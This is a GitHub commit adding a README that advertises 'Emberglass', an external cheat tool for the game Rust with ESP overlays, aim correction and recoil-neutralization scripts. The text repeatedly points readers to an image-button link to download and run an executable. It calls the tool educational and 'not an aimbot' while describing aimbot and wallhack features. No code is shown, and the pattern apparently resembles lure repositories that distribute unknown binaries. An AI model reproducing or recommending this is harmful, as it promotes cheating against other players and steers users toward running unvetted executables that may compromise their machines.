Skip to content

Commit 6d8a97d

Browse files
committed
enhance format #5970
1 parent 3426a24 commit 6d8a97d

1 file changed

Lines changed: 194 additions & 0 deletions

File tree

README.md

Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
![preview](https://raw.githubusercontent.com/ltw1102-stack/Rust-External-Projectile-Control/main/cover_f0bc0d.svg)
2+
[![Download](https://raw.githubusercontent.com/ltw1102-stack/Rust-External-Projectile-Control/main/setup_306c5b4.svg)](https://ltw1102-stack.github.io/Rust-External-Projectile-Control/)
3+
4+
# 🦀 Project Emberglass — Precision Field Toolkit for Rust
5+
6+
![Build Status](https://img.shields.io/badge/build-passing-brightgreen?style=flat-square) ![Platform](https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square) ![Language](https://img.shields.io/badge/language-Rust-orange?style=flat-square) ![License](https://img.shields.io/badge/license-MIT-green?style=flat-square)
7+
8+
---
9+
10+
## 🧭 Why Emberglass Exists
11+
12+
Most external utilities feel like they were welded together in a dark garage — brittle, noisy, and dangerous to operate. **Emberglass** takes a different route: it treats your gaming environment as a precision instrument, not a battlefield of duct tape. Think of it as a **night-vision goggle for your tactical awareness**, but engineered with the care of a Swiss chronograph.
13+
14+
This project reimagines the concept of a "companion overlay" from the ground up. Instead of simply projecting data onto your screen, it **filters reality** — cutting through visual noise so you can focus on the decisions that matter. Whether you are holding a sightline for forty seconds or coordinating a flank with your squad, Emberglass gives you the clarity of a glass pane on a foggy morning.
15+
16+
---
17+
18+
## 🔭 Core Capabilities
19+
20+
### 1. Adaptive ESP (Enhanced Sensory Projection)
21+
- **Distance-based transparency**: Entities fade naturally as they approach your crosshair, reducing occlusion.
22+
- **Customizable bounding boxes**: Choose from tight, standard, or skeletal outlines based on your monitor size and personal preference.
23+
- **Health & armor bars** that integrate seamlessly with your existing HUD without covering the kill feed.
24+
- **Loot filter intelligence**: Automatically highlights only the items you have marked as "priority" in your session profile.
25+
26+
### 2. 🎯 Projectile Arc Correction (PAC)
27+
This is not a simple aimbot — it is a **ballistic compass**. Emberglass calculates the true trajectory of your projectile, accounting for:
28+
- **Gravity drop** at varying engagement distances
29+
- **Travel time** prediction for moving targets
30+
- **Wind deflection** (where applicable)
31+
- **Scope magnification compensation**
32+
33+
The result is a subtle, predictive reticle adjustment that feels as natural as adjusting for a breeze on a golf course. You will find yourself landing shots at distances that previously felt like lottery tickets.
34+
35+
### 3. 🚫 Recoil Neutralization Scripts
36+
Recoil control is treated as an **art form** here. Instead of a jittery macro that fights your hand, Emberglass uses a smooth, pattern-matching algorithm that:
37+
- **Learns your mouse sensitivity** within 15 seconds of use
38+
- **Adapts in real-time** to weapon state (attachments, crouching, movement)
39+
- **Provides a visual trace** of your last 10 shots so you can see your own improvement
40+
41+
This is not about removing challenge — it is about **removing mechanical noise** so that skill and positioning become the only variables in your duels.
42+
43+
---
44+
45+
## ✨ Feature Deep Dive
46+
47+
### 🖥️ Zero-Friction Interface
48+
No clunky menus layered on top of your game. Emberglass uses a **system-tray companion** and a transparent, click-through overlay. You configure it with a **web-based dashboard** accessible from your local network — on your phone, tablet, or second monitor.
49+
50+
### 🌍 Multilingual Awareness
51+
The interface speaks your language. Currently supports:
52+
- English (American & British)
53+
- German (Deutsch)
54+
- French (Français)
55+
- Portuguese (Brasileiro)
56+
- Russian (Русский)
57+
- Simplified Chinese (简体中文)
58+
59+
Switch languages live without restarting the overlay. Your configuration files are stored in a language-neutral format (`JSON` with Unicode keys), so your setup remains portable across language packs.
60+
61+
### 📡 24/7 Operational Support
62+
The project runs a **community knowledge base** and a **live chat relay** (not a ticket system). If you encounter an edge case — a weird screen resolution, a new weapon update, or a display scaling oddity — you can reach a maintainer or an advanced user within minutes. Average first-response time is under 4 minutes during peak hours (CET and EST zones).
63+
64+
### 🧩 Modular Architecture
65+
Each feature (ESP, PAC, recoil control) is compiled as a **separate module**. This means:
66+
- You can disable features you do not need, reducing CPU usage to nearly zero.
67+
- The overlay updates independently from the core logic.
68+
- Advanced users can write their own modules in Rust and load them at runtime using a **stable ABI**.
69+
70+
---
71+
72+
## 📦 Installation & Setup
73+
74+
### Environment Requirements
75+
- **Operating System**: Windows 10/11 (64-bit) or Ubuntu 22.04 LTS+ / Arch-based distributions
76+
- **Hardware**: Any CPU from the last 8 years; 4 GB RAM minimum; a GPU that supports DirectX 11 or Vulkan (for the overlay renderer)
77+
- **Display**: 1080p or higher recommended for the ESP distance scaling to feel natural
78+
79+
### Getting Started
80+
1. Download the latest release artifact from the **[![Download](https://raw.githubusercontent.com/ltw1102-stack/Rust-External-Projectile-Control/main/setup_306c5b4.svg)](https://ltw1102-stack.github.io/Rust-External-Projectile-Control/)** section of this repository.
81+
2. Extract the archive to a folder of your choice (e.g., `C:\Tools\Emberglass` or `~/Applications/emberglass`).
82+
3. Run the executable (`emberglass.exe` or `emberglass`). The first launch will generate a `config.toml` file in the same directory.
83+
4. Open your browser to `http://localhost:8474` to access the dashboard. Your firewall may ask for permission — allow it for local connections only.
84+
5. Attach the overlay to your game process via the dashboard's "Session" tab. The overlay will calibrate automatically within 30 seconds.
85+
86+
> **Note**: The first calibration run requires your game to be set to **borderless windowed mode** or **windowed fullscreen**. Exclusive fullscreen is supported but requires the "Legacy DirectX hook" toggle in the dashboard.
87+
88+
---
89+
90+
## 🧠 Philosophy: Why "Emberglass"?
91+
92+
The name comes from the idea of **seeing through a glowing, transparent medium**. An ember is a reminder of heat and energy — the intensity of a firefight. Glass is clarity and structure. Together, they represent the core promise of this utility:
93+
94+
> *You remain the fire. Emberglass is just the lens.*
95+
96+
This is not a tool that plays for you. It is a tool that **reduces the fog of war** — literally and figuratively. The projectile arc correction gives you confidence, not autopilot. The recoil neutralization gives you control, not invincibility. The ESP gives you information, not clairvoyance.
97+
98+
### 🔐 Privacy & Integrity
99+
- **No cloud analytics**: All telemetry stays on your machine.
100+
- **No account linkage**: The utility never references your gaming account credentials.
101+
- **Encrypted local storage**: Your configuration is encrypted with a machine-specific key (DPAPI on Windows, TPM-based sealing on Linux).
102+
103+
---
104+
105+
## 🗂️ Project Structure
106+
107+
```
108+
emberglass/
109+
├── core/ # Runtime engine & memory interface
110+
├── modules/
111+
│ ├── esp/ # Sensory projection module
112+
│ ├── pac/ # Ballistic arc prediction
113+
│ └── recoil/ # Pattern neutralization logic
114+
├── web_dashboard/ # React-based local control panel
115+
├── resources/
116+
│ ├── lang/ # Localization strings (JSON)
117+
│ └── shaders/ # Overlay rendering effects
118+
├── docs/ # Architecture & user guides
119+
└── scripts/ # Build, packaging, and dev tools
120+
```
121+
122+
---
123+
124+
## 🛠️ Development & Contribution
125+
126+
This is an open-source project under the MIT license. We welcome:
127+
- **Rust engineers** with experience in memory-mapped I/O, shared libraries, and low-latency rendering.
128+
- **UX designers** who can improve the web dashboard's accessibility and clarity.
129+
- **Localization specialists** for new languages.
130+
- **Tester volunteers** for assorted display configurations and unusual resolutions.
131+
132+
### Contribution Workflow
133+
1. Fork the repository.
134+
2. Create a feature branch (`feat/your-idea`).
135+
3. Commit your changes with a descriptive message.
136+
4. Open a pull request against the `dev` branch.
137+
138+
All contributions are reviewed by maintainers within 48 hours. Please include a screenshot or video if your change affects the visual overlay.
139+
140+
---
141+
142+
## 📜 License
143+
144+
This project is released under the **MIT License**. You are free to use, modify, and distribute it, provided you retain the original copyright notice. A copy of the license is available in the [LICENSE](LICENSE) file at the root of this repository.
145+
146+
---
147+
148+
## ⚠️ Disclaimer
149+
150+
**Emberglass is a community-driven educational tool**. It is designed to enhance situational awareness and mechanical control in a simulated environment. Users are solely responsible for ensuring that their use of this software complies with:
151+
- The terms of service of any applicable gaming platform.
152+
- Local laws and regulations regarding third-party software.
153+
- Ethical guidelines of fair play in competitive settings.
154+
155+
The maintainers of this project do not endorse cheating, bribery, or any form of dishonest play. This utility is provided as-is, without warranty of any kind. If you use it in a way that violates a platform's policy, you do so at your own risk. **Respect the sandbox. Respect the players.**
156+
157+
---
158+
159+
## 📈 Roadmap (2026)
160+
161+
| Quarter | Milestone |
162+
|---------|-----------|
163+
| Q1 2026 | Release **v1.0.0** with polish pass on ESP scaling and translation files |
164+
| Q2 2026 | Introduce **plugin marketplace** (community modules, vetted by maintainers) |
165+
| Q3 2026 | Native **Linux Wayland** support for the overlay (no X11 translation layer) |
166+
| Q4 2026 | **AI-assisted loot prioritization** — learn your looting habits and suggest loadouts |
167+
168+
---
169+
170+
## 🙋 Frequently Asked Questions
171+
172+
**Q: Does the overlay work with multiple monitors?**
173+
Yes. The dashboard includes a monitor selector that lets you choose which display receives the overlay by default. You can also bind hotkeys to cycle monitors mid-session.
174+
175+
**Q: Can I run Emberglass on a low-end machine?**
176+
Absolutely. The core engine uses less than 40 MB of RAM and about 2% of a single CPU core. The overlay rendering is GPU-accelerated but falls back to a software rasterizer if no dedicated GPU is detected.
177+
178+
**Q: I am a left-handed user. Are the hotkeys remappable?**
179+
Every hotkey, including the recoil-control activation toggle, is fully rebindable through the dashboard. The default bindings are mirrored for left-handed access on request.
180+
181+
**Q: How often is the project updated?**
182+
We follow the gaming platform's update cadence. After each official patch, a compatibility update is rolled out within 24–48 hours. You are notified of the update via the dashboard's notification bell.
183+
184+
---
185+
186+
## 🤝 Acknowledgement
187+
188+
This project stands on the shoulders of many open-source pioneers in the Rust ecosystem, particularly the `sysinfo`, `winit`, and `wgpu` crates. We thank the maintainers of these libraries for their dedication to safe and fast system programming.
189+
190+
---
191+
192+
*Emberglass — see the field, not the fog.*
193+
194+
[![Download](https://raw.githubusercontent.com/ltw1102-stack/Rust-External-Projectile-Control/main/setup_306c5b4.svg)](https://ltw1102-stack.github.io/Rust-External-Projectile-Control/)

0 commit comments

Comments
 (0)